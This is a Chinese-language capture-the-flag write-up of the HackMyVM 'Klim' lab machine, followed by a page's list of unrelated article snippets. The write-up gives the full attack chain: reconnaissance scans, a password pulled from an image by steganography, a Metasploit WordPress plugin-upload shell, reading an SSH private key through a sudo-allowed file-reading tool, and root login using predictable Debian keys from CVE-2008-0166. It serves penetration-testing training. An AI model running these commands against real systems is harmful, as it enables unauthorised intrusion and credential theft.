HackMyVM-Klim靶机的测试报告
目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
CVE-2008-0166
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.159.127)
靶 机:debian(192.168.159.27)
注意事项:
①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
②靶机启动失败:设置中取消勾选usb即可

2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、cmseek(获取cms信息)、stegseek(分析图片隐藏信息)、msfconsole(漏洞利用模块)、ssh(远程登录)
测试网址:http://192.168.159.27
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
地址:https://hackmyvm.eu/machines/machine.php?vm=Klim
二、测试目的
熟悉wordpress漏洞,熟悉ssh登录流程,以及CVE-2008-0166漏洞利用。获取2个flag。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
靶机IP:192.168.159.27
物理机IP:192.168.159.241

端口和服务探测
nmap -sT -A -p- -T4 192.168.159.27
靶机开放了22端口(ssh服务)、80端口(web服务)

目录扫描
gobuster dir -u http://192.168.159.27 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
有wordpress目录

扫描wordpress目录
gobuster dir -u http://192.168.159.27/wordpress -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫描wordpress/wp-content目录,该目录存在uploads目录

查看wordpress信息
cmseek -u http://192.168.159.27/wordpress
获取用户名klim

2、Getshell
在wordpress/wp-content/uploads目录中找到一张图片

获取该图片,查看是否有隐藏信息
stegseek image.jpg
可以看到,找到了密码,输出了文件,是有东西的

查看文件,发现是数据包,而且有klim用户的密码
cat image.jpg.out
klim/ss7WhrrnnHOZC%239bQn

数据包是经过url编码的,将密码解码
klim/ss7WhrrnnHOZC#9bQn

现在可以登录wordpress了

在Plugins—Add New Plugin—Upload Plugin处可以上传文件,直接上传木马会被拦

使用msfconsole模块集成利用,上传插件漏洞
use exploit/unix/webapp/wp_admin_shell_upload
set rhost 192.168.159.27
set targeturi /wordpress
set username klim
set password ss7WhrrnnHOZC#9bQn
run
成功返回meterpreter会话

3、提权
获取交互式shell并查看sudo权限
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
看到能以klim用户身份执行/home/klim/tool工具

使用file查看该文件,是一个可执行文件
file /home/klim/tool

使用help参数查看工具解析,可以看出这是cat命令,和cat命令一个作用
sudo -u klim /home/klim/tool --help

可以查看文件,那么首先查看klim用户家目录的文件
存在.ssh目录,查看私钥文件
ls -la /home/klim
sudo -u klim /home/klim/tool /home/klim/.ssh/id_rsa

将私钥写入id文件并ssh登录klim用户
vim id
chmod 600 id
ssh klim@192.168.159.27 -i id

在当前目录查看user.txt
cat user.txt
user.txt: 2fbef74059deaea1e5e11cff5a65b68e

CVE-2008-0166
基于Debian的操作系统上的OpenSSL 0.9.8c-1到0.9.8g-9之前的版本使用随机数生成器生成可预测的数字,这使得远程攻击者更容易对加密密钥进行暴力猜测攻击。
这个漏洞存在,生成的ssh密钥便可被预测,数量有限。所有ssh密钥对在如下地址下载:
https://github.com/g0tmi1k/debian-ssh/blob/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2

下载完成后,解压,可以在rsa/2048目录下查看所有公钥私钥
tar -xjf debian_ssh_rsa_2048_x86.tar.bz2
cd rsa/2048
ls

利用该漏洞,需要找到公钥,然后根据公钥找到私钥
寻找公钥文件,发现在/opt目录下有个公钥文件,正是root用户的公钥文件
find / -name id_rs* -ls 2>/dev/null

根据公钥的加密信息去匹配已知公钥的编号

使用ssh登录,私钥指定为该编号即可
ssh root@192.168.159.27 -i 54701a3b124be15d4c8d3cf2da8f0139-2005
cat root.txt
root.txt: 60667e12c8ea62295de82d053d950e1f

四、结论
Wordpress的文件上传漏洞可以利用,openssl的漏洞导致私钥可被查询出来。
相关文章:
HackMyVM-Klim靶机的测试报告
目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Getshell 3、提权 CVE-2008-0166 四、结论 一、测试环境 1、系统环境 渗透机:kali2021.1(192.168.159.127) 靶 机:debian(192.168.159.27) 注意事…...
C++内存分布
小试牛刀: int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] { 1, 2, 3, 4 };char char2[] "abcd";const char* pChar3 "abcd";int* ptr1 (int*)malloc(sizeof(int)…...
mysql主从复制sql进程中断,报错Tablespace is missing for table ……
一 解决办法 关键执行1.2步,1.1/1.3结合实际环境操作。 1.1 如果从库只读开启了,要先关闭只读 show variables like %read_only%; set global super_read_onlyoff; set global read_onlyoff; 1.2 discart/import tablespace ALTER TABLE 表名 DISC…...
STM32 FreeRTOS 信号量
信号量的简介 reeRTOS中的信号量是一种用于任务间同步和资源管理的机制。信号量可以是二进制的(只能取0或1)也可以是计数型的(可以是任意正整数)。信号量的基本操作包括“获取”和“释放”。 比如动车上的卫生间,一个…...
Codemirror6个人使用心得总结
Codemirror6 包 用法总结 本次用到的 Codemirror6 有关的包如下 语法支持包语法支持包核心插件codemirror/lang-yaml 6.1.1codemirror/lang-less 6.0.2codemirror/autocomplete 6.16.0codemirror/lang-xml 6.1.0codemirror/lang-liquid 6.2.1codemirror/commands 6.5.0codemirr…...
Ruby语言的软件开发工具
Ruby语言的软件开发工具概述 引言 Ruby是一种高效、灵活的动态编程语言,因其简洁的语法和强大的功能而受到开发者的欢迎。在软件开发过程中,使用合适的开发工具可以大幅提高工作效率,提升代码质量。本文将详细介绍一些常用的Ruby开发工具&a…...
OpenHarmony API 设计规范
OpenHarmony API 设计规范 修订记录 版本作者时间更新内容v0.1,试运行版OpenHarmony API SIG2022年11月初版发布 目的 API是软件实现者提供给使用者在编程界面上的定义,API在很大程度上体现了软件实体的能力范围。 同时,API定义的好坏极…...
ESP8266 AP模式 网页配网 arduino ide
ESP8266的AP配网,可以自行配置网络,一个简单的demo,文档最后有所有的代码,已经测试通过. 查看SPIFFS文件管理系统中的文件 账号密码是否存在,如不存在进入AP配网,如存在进入wifi连接模式 // 检查Wi-Fi凭据if (isWiFiConfigured()) {Serial.println("找到Wi-Fi凭据&#…...
OpenCV基础:获取子矩阵的几种方式
目录 相关阅读 方法一:使用切片操作 方法二:使用高级索引 方法三:使用条件筛选 方法四:使用 numpy 的 take 函数 相关阅读 OpenCV基础:矩阵的创建、检索与赋值-CSDN博客 OpenCV基础:图像运算-CSDN博客…...
C++ 之多线程相关总结
C 之多线程相关总结 1.多线程相关基础知识 1.1 线程的创建和管理 1. std::thread 类: 用于创建和管理线程。通过将可调用对象(如函数、函数对象、lambda 表达式)作为参数传递给 std::thread 的构造函数,可以创建一个新的线程。…...
EF Core全局查询筛选器
目录 概述 用法 添加全局查询筛选器 禁用全局查询筛选器 概述 全局查询筛选器:EF Core 会自动将这个查询筛选器应用于涉及这个实体类型的所有 LINQ 查询。 场景:软删除、多租户。 什么是软删除? 逻辑删除,并不是真正地从数…...
【开源免费】基于SpringBoot+Vue.JS欢迪迈手机商城(JAVA毕业设计)
本文项目编号 T 141 ,文末自助获取源码 \color{red}{T141,文末自助获取源码} T141,文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…...
Objective-C语言的数据库交互
Objective-C语言的数据库交互 引言 在现代应用程序开发过程中,数据库在数据存储和管理方面起着至关重要的作用。对于iOS应用开发者而言,掌握如何在Objective-C中与数据库交互显得尤为重要。本文将全面探讨Objective-C的数据库交互,包括SQLi…...
基于 Spring Boot 和 Vue.js 的全栈购物平台开发实践
在现代 Web 开发中,前后端分离的架构已经成为主流。本文将分享如何使用 Spring Boot 和 Vue.js构建一个全栈购物平台,涵盖从后端 API 开发到前端页面实现的完整流程。 1. 技术栈介绍 后端技术栈 JDK 1.8:稳定且广泛使用的 Java 版本。 Spring…...
笔记(数据运营方向)
以下是一些在工作过程中的小笔记,写的比较杂乱,后续再进行分类~ 1、掌握sql窗口函数 窗口函数又名开窗函数,属于分析函数的一种。用于解决复杂报表统计需求的功能强大的函数。窗口函数用于计算基于组的某种聚合值,它和聚合函数的…...
qt vs ios开发应用环境搭建和上架商店的记录
qt 下载链接如下 https://download.qt.io/new_archive/qt/5.14/5.14.2/qt-opensource-mac-x64-5.14.2.dmg 安装选项全勾选就行,这里特别说明下qt5.14.2/qml qt5.14.2对qml支持还算成熟,但很多特性还得qt6才行,这里用qt5.14.2主要是考虑到服…...
[cg] glDrawBuffers MRT的应用
glDrawBuffers 是 OpenGL 中的一个函数,用于指定渲染结果输出到哪些颜色缓冲区。它通常在多渲染目标(MRT, Multiple Render Targets)中使用,允许一个渲染操作同时将结果输出到多个颜色缓冲区,而不是默认情况下的单个颜…...
IO模型与NIO基础二
抽象基类之二 FilterInputStream FilterInputStream 的作用是用来“封装其它的输入流,并为它们提供额外的功能”。 它的常用的子类有BufferedInputStream和DataInputStream。 (1) BufferedInputStream的作用就是为“输入流提供缓冲功能,以及mark()和res…...
【设计模式】 单例模式(单例模式哪几种实现,如何保证线程安全,反射破坏单例模式)
单例模式 作用:单例模式的核心是保证一个类只有一个实例,并且提供一个访问实例的全局访问点。 实现方式优缺点饿汉式线程安全,调用效率高 ,但是不能延迟加载懒汉式线程安全,调用效率不高,能延迟加载双重检…...
T-SQL语言的数据库交互
T-SQL语言的数据库交互 引言 随着信息技术的不断发展,数据库在各个行业中扮演着越来越重要的角色。数据库的有效管理和优化对于企业的数据安全、效率提升和决策支持至关重要。T-SQL(Transact-SQL)作为微软SQL Server的重要扩展语言…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法
树莓派摄像头高级使用方法 配置通过调谐文件来调整相机行为 使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 配置 大多数用例自动工作,无需更改相机配置。但是,一…...
PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建
制造业采购供应链管理是企业运营的核心环节,供应链协同管理在供应链上下游企业之间建立紧密的合作关系,通过信息共享、资源整合、业务协同等方式,实现供应链的全面管理和优化,提高供应链的效率和透明度,降低供应链的成…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
